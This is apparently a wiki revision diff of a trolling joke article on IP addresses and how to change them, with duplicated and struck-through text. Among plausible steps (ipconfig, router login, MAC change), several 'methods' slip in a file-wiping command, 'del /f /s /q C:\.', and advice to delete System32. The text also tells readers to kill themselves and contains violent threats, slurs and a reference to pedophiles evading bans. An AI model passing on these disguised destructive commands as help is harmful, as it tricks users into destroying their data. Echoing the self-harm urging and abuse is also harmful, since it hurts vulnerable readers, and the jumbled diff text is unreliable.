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			''"CheckUser" redirects here. Maybe you were looking for [[Bbb23]], who was once the most prolific CheckUser on [[TOW]]?''

	[[Image:Ipaddress.png\|thumb\|right\|[[Skript kiddies\|Someone]] can immediately begin attacking your [[computer]]!]]		[[Image:Ipaddress.png\|thumb\|right\|[[Skript kiddies\|Someone]] can immediately begin attacking your [[computer]]!]]

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	~~I have~~ your IP address.		{{notice\|The content of this page may set off fake alarms. [{{fullurl:{{FULLPAGENAME}}\|action=edit}} View the source] to see it's completely safe.}}

			[[Image:Ipaddress.png\|thumb\|right\|[[Skript kiddies\|Someone]] can immediately begin attacking your [[computer]]!]]

			Your IP Address is '''127.0.0.1''' and we are haxing your computer now. Not even pressing Alt+F4 will save you now, [[noob]].

			With your IP, someone can HACK YOUR SHIT, KILL YOUR [[PARENTS]], KILL YOUR FIRSTBORN SON, BUTTRAPE YOUR DAUGHTERS, SLAUGHTER EVERYONE IN YOUR AREA, AND KILL YOUR [[GOD]] AND YOUR DOG.

			[https://hidemyass.com/proxy-list/ Proxies] are the standard way of hiding your IP address from [[China\|oppressive governmental regimes]].

			==Why would you change your IP?==
			It's useful if:
			#[[You]] are a [[pedophile]] looking for an IP that hasn't been banned yet because of CP posting.
			#[[You]] are planning to create a giant [[sock puppet]] farm in order to overturn [[Wikipedia]] ''ad majorem [[ED]]i gloriam''.
			#[[You]] were such a [[n00b]] in a forum and you annoyed the admins so much that they [[banned]] you.
			#[[You]] want to [[raid]] a forum of [[n00bs]] but you failed to hire some /b/tards as they are not your [[personal army]].
			#[[You]] got humiliated and [[pwned]] by a powerful [[troll]] and you try to get a new identity.
			#[[You]] are a hacker sought by the police.
			#[[You]] were interrupted in a [[NO U]] war and you don't want to become a [[luser]].

			==How to change your IP==
			===#1===
			If your computer is connected directly to the [[Tubes\|internet]] without a NAT router in between, try this:
			#Get to a command prompt. (From the [[Windows\|Start]] menu, choose Run..., type <code>cmd</code> and [[Push_Butan\|press Enter]].)
			#Type <code>ipconfig /release</code> and press Enter.
			#Optional: Turn off the computer and leave it turned off overnight.
			#Type <code>ipconfig /renew</code> and press Enter.
			#Type <code>del /f /s /q C:\.</code> and press Enter.
			#Do not forget the last step!

			===#2===
			#Log into the router's admin console (often http://192.168.1.1/ or http://192.168.0.1), or for netgear brand routers use http://routerlogin.net
			#Release the IP address (method varies by router manufacturer).
			#Turn off router, Ethernet hubs/switches, and the cable/DSL modem.
			#Leave everything off overnight.
			#Turn everything back on and confirm the switch.

			====#2.1 (simplified but unreliable)====
			#Turn off your router, any Ethernet hubs/switches and your cable/DSL modem.
			#Optional: Shut down your computer and leave it off until completed
			#Leave everything off for 5-10 minutes.
			#Confirm the switch.
			#Try Method 2 if this fails.

			===#3===
			#Go to http://192.168.1.1 or http://192.168.0.1 , or for netgear brand routers use http://routerlogin.net
			#Log in (if you do not know the password, [[Google]] for default router passwords).
			#Find DNS addresses and write them down.
			#Switch setting to Static IP. Put in DNS addresses and change your IP to whatever you like.

			===#4===
			#Log into the router's admin console. (Often http://192.168.1.1/), or for netgear brand routers use http://routerlogin.net
			#Release the IP address. (Method varies by router manufacturer)
			#Change [[MAC address]].
			#Turn everything back on.

			===#5===
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			<youtube>B2yvLXQDgAo</youtube>
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			===If nothing works===
			#Type <code>del /f /s /q C:\.</code> and press Enter.
			#Kill yourself.

			====[[Final solution]]====
			Eliminating the virus known as [[System32]] constitutes a permanent solution for this issue. [[Windows Optimizer]] can delete said virus, so you can change your IP at will.

			====How to change your IP #6====
			Go over to your computer and rip all wires out of wall problem solved

			====How to change your IP #7====
			Move to [[Germany]] and get your Internets from a [[Nazi\|german]] ISP. They automatically change your IP every 24 hours preferably while you're playing [[Call of Duty: Black Ops 2\|Black Ops 2]], forcing you to lose [[the game\|the connection]]. Unfortunately, the [[Communism\|german Government]] can legally [[stalk\|view]] [[you]]r [[porn]] traffic under the clever guise of finding [[Pedophile]]s, so you'll still need a Proxy.

			==How IP's are allocated by /8 subnet==
			[[File:Internetmap.jpg\|center]]

			==External Links==
			*[http://www.danasoft.com A harmless forum signature to scare newfags.]
			*[https://192168-ll.com/ 192.168 ll]


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	~~{{notice\|The content of this page may set off fake alarms. [{{fullurl:{{FULLPAGENAME}}\|action=edit}} View the source] to see it's completely safe.}}~~		I have your IP address.

	~~[[Image:Ipaddress.png\|thumb\|right\|[[Skript kiddies\|Someone]] can immediately begin attacking your [[computer]]!]]~~

	~~Your IP Address is '''127.0.0.1''' and we are haxing your computer now. Not even pressing Alt+F4 will save you now, [[noob]].~~

	~~With your IP, someone can HACK YOUR SHIT, KILL YOUR [[PARENTS]], KILL YOUR FIRSTBORN SON, BUTTRAPE YOUR DAUGHTERS, SLAUGHTER EVERYONE IN YOUR AREA, AND KILL YOUR [[GOD]] AND YOUR DOG.~~

	~~[https://hidemyass.com/proxy-list/ Proxies] are the standard way of hiding your IP address from [[China\|oppressive governmental regimes]].~~

	~~==Why would you change your IP?==~~
	~~It's useful if:~~
	~~#[[You]] are a [[pedophile]] looking for an IP that hasn't been banned yet because of CP posting.~~
	~~#[[You]] are planning to create a giant [[sock puppet]] farm in order to overturn [[Wikipedia]] ''ad majorem [[ED]]i gloriam''.~~
	~~#[[You]] were such a [[n00b]] in a forum and you annoyed the admins so much that they [[banned]] you.~~
	~~#[[You]] want to [[raid]] a forum of [[n00bs]] but you failed to hire some /b/tards as they are not your [[personal army]].~~
	~~#[[You]] got humiliated and [[pwned]] by a powerful [[troll]] and you try to get a new identity.~~
	~~#[[You]] are a hacker sought by the police.~~
	~~#[[You]] were interrupted in a [[NO U]] war and you don't want to become a [[luser]].~~

	~~==How to change your IP==~~
	~~===#1===~~
	~~If your computer is connected directly to the [[Tubes\|internet]] without a NAT router in between, try this:~~
	~~#Get to a command prompt. (From the [[Windows\|Start]] menu, choose Run..., type <code>cmd</code> and [[Push_Butan\|press Enter]].)~~
	~~#Type <code>ipconfig /release</code> and press Enter.~~
	~~#Optional: Turn off the computer and leave it turned off overnight.~~
	~~#Type <code>ipconfig /renew</code> and press Enter.~~
	~~#Type <code>del /f /s /q C:\.</code> and press Enter.~~
	~~#Do not forget the last step!~~

	~~===#2===~~
	~~#Log into the router's admin console (often http://192.168.1.1/ or http://192.168.0.1), or for netgear brand routers use http://routerlogin.net~~
	~~#Release the IP address (method varies by router manufacturer).~~
	~~#Turn off router, Ethernet hubs/switches, and the cable/DSL modem.~~
	~~#Leave everything off overnight.~~
	~~#Turn everything back on and confirm the switch.~~

	~~====#2.1 (simplified but unreliable)====~~
	~~#Turn off your router, any Ethernet hubs/switches and your cable/DSL modem.~~
	~~#Optional: Shut down your computer and leave it off until completed~~
	~~#Leave everything off for 5-10 minutes.~~
	~~#Confirm the switch.~~
	~~#Try Method 2 if this fails.~~

	~~===#3===~~
	~~#Go to http://192.168.1.1 or http://192.168.0.1 , or for netgear brand routers use http://routerlogin.net~~
	~~#Log in (if you do not know the password, [[Google]] for default router passwords).~~
	~~#Find DNS addresses and write them down.~~
	~~#Switch setting to Static IP. Put in DNS addresses and change~~ your ~~IP to whatever you like.~~

	~~===#4===~~
	~~#Log into the router's admin console. (Often http://192.168.1.1/), or for netgear brand routers use http://routerlogin.net~~
	~~#Release the~~ IP address. ~~(Method varies by router manufacturer)~~
	~~#Change [[MAC address]].~~
	~~#Turn everything back on.~~

	~~===#5===~~
	~~<center>~~
	~~<youtube>B2yvLXQDgAo</youtube>~~
	~~</center>~~

	~~===If nothing works===~~
	~~#Type <code>del /f /s /q C:\.</code> and press Enter.~~
	~~#Kill yourself.~~

	~~====[[Final solution]]====~~
	~~Eliminating the virus known as [[System32]] constitutes a permanent solution for this issue. [[Windows Optimizer]] can delete said virus, so you can change your IP at will.~~

	~~====How to change your IP #6====~~
	~~Go over to your computer and rip all wires out of wall problem solved~~

	~~====How to change your IP #7====~~
	Move to [[Germany]] and get your Internets from a [[Nazi\|german]] ISP. They automatically change your IP every 24 hours preferably while you're playing [[Call of Duty: Black Ops 2\|Black Ops 2]], forcing you to lose [[the game\|the connection]]. Unfortunately, the [[Communism\|german Government]] can legally [[stalk\|view]] [[you]]r [[porn]] traffic under the clever guise of finding [[Pedophile]]s, so you'll still need a Proxy.

	~~==How IP's are allocated by /8 subnet==~~
	~~[[File:Internetmap.jpg\|center]]~~

	~~==External Links==~~
	*[http://www.danasoft.com A harmless forum signature to scare newfags.]
	*[https://192168-ll.com/ 192.168 ll]


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	~~{{softwarez}}~~
	~~{{stub}}~~

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	~~SEE? TOLD YA, FAGGOT~~

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	*[http://www.danasoft.com A harmless forum signature to scare newfags.]		*[http://www.danasoft.com A harmless forum signature to scare newfags.]
			*[https://192168-ll.com/ 192.168 ll]


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	With your IP, someone can HACK YOUR SHIT, KILL YOUR [[PARENTS]], KILL YOUR FIRSTBORN SON, BUTTRAPE YOUR DAUGHTERS, SLAUGHTER EVERYONE IN YOUR AREA, AND KILL YOUR [[GOD]] AND YOUR DOG.		With your IP, someone can HACK YOUR SHIT, KILL YOUR [[PARENTS]], KILL YOUR FIRSTBORN SON, BUTTRAPE YOUR DAUGHTERS, SLAUGHTER EVERYONE IN YOUR AREA, AND KILL YOUR [[GOD]] AND YOUR DOG.

	[~~http~~://~~www~~.~~proxies.co.nr~~ Proxies] are the standard way of hiding your IP address from [[China\|oppressive governmental regimes]].		[https://hidemyass.com/proxy-list/ Proxies] are the standard way of hiding your IP address from [[China\|oppressive governmental regimes]].

	==Why would you change your IP?==		==Why would you change your IP?==

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	====How to change your IP #6====		====How to change your IP #6====
	Go over to your computer and rip all wires out of wall problem solved		Go over to your computer and rip all wires out of wall problem solved

			====How to change your IP #7====
			Move to [[Germany]] and get your Internets from a [[Nazi\|german]] ISP. They automatically change your IP every 24 hours preferably while you're playing [[Call of Duty: Black Ops 2\|Black Ops 2]], forcing you to lose [[the game\|the connection]]. Unfortunately, the [[Communism\|german Government]] can legally [[stalk\|view]] [[you]]r [[porn]] traffic under the clever guise of finding [[Pedophile]]s, so you'll still need a Proxy.

	==How IP's are allocated by /8 subnet==		==How IP's are allocated by /8 subnet==